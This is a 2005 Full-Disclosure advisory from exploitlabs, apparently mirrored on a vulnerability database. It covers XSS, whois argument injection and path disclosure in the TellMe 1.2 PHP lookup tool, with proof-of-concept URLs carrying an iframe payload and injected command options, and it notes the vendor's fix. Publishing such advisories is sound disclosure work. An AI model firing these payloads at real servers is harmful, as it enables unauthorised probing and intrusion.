Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:9869
HistoryOct 06, 2005 - 12:00 a.m.

[Full-disclosure] Tellme 1.2

2005-10-0600:00:00
vulners.com
19

- EXPL-A-2005-015 exploitlabs.com Advisory 044 -

                          - TellMe -

AFFECTED PRODUCTS

TellMe v1.2 and earlier
http://kimihia.org.nz/projects/
http://kimihia.org.nz/projects/tellme/

OVERVIEW

Tellme - get all the lowdown details on an address
Tellme is used to discern what a computer is running,
and also to help track down servers.
It combines together into one place traceroute tools,
head requests, server examination, and whois lookups.

TellMe is used widely in default Plesk installs as a bundled
3rd party add on.

DETAILS

  1. XSS

TellMe does not properly filter malicious script content.
XSS my be inserted in the "IP" or "HOST"parameter.
The malicious script is then rendered and executed in the
context of the users brower.

  1. command option access

Tellme allows access to comand line options of the whois function via:
render_Open("WHOIS");
if ( $q_Host )
passthru(EscapeShellCmd("whois " . $q_This));

  1. information disclosure

TellMe discloses path information in error output, echoing
back the full path to the script.

POC


by script inclusion in the "q_host" parameter
http://[host]/tellme/index.php?q_Host=<iframe
src=http://whatismyip.com></iframe>


by prepending "–*" options to the host entry
http://[host]/net/index.php?q_IP=&q_Host=–version+test.com&o_WhoIs=on
http://[host]/net/index.php?q_IP=&q_Host=–help+test.com&o_WhoIs=on


by prepending "–" to the Server and HEAD options
http://[host]/net/index.php?q_IP=&q_Host=–+test.com&o_Server=on&o_Head=on

Warning: fsockopen(): unable to connect to --help test.com:80
in /home/httpd/vhosts/[VHOSTUSER]/httpdocs/net/index.php on line 246

SOLUTION:

vendor contact:
Sept 29, 2005
[email protected] ( returned )
http://kimihia.org.nz/about/feedback/

Vendor response:
Oct 4, 2005

The author has released an updated version and a diff patch, available at:

Here is the new version:
http://kimihia.org.nz/projects/tellme/files/tellme-1.3_php3.txt

Here is a diff:
http://kimihia.org.nz/projects/tellme/files/tellme-1.2-1.3.diff

Here is the new README:
http://kimihia.org.nz/projects/tellme/files/tellme.txt

Credits

This vulnerability was discovered and researched by
Donnie Werner of exploitlabs

mail: wood at exploitlabs.com
mail: morning_wood at zone-h.org

web: http://exploitlabs.com
web: http://zone-h.org

orig: http://exploitlabs.com/files/advisories/EXPL-A-2005-015-tellme.txt


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/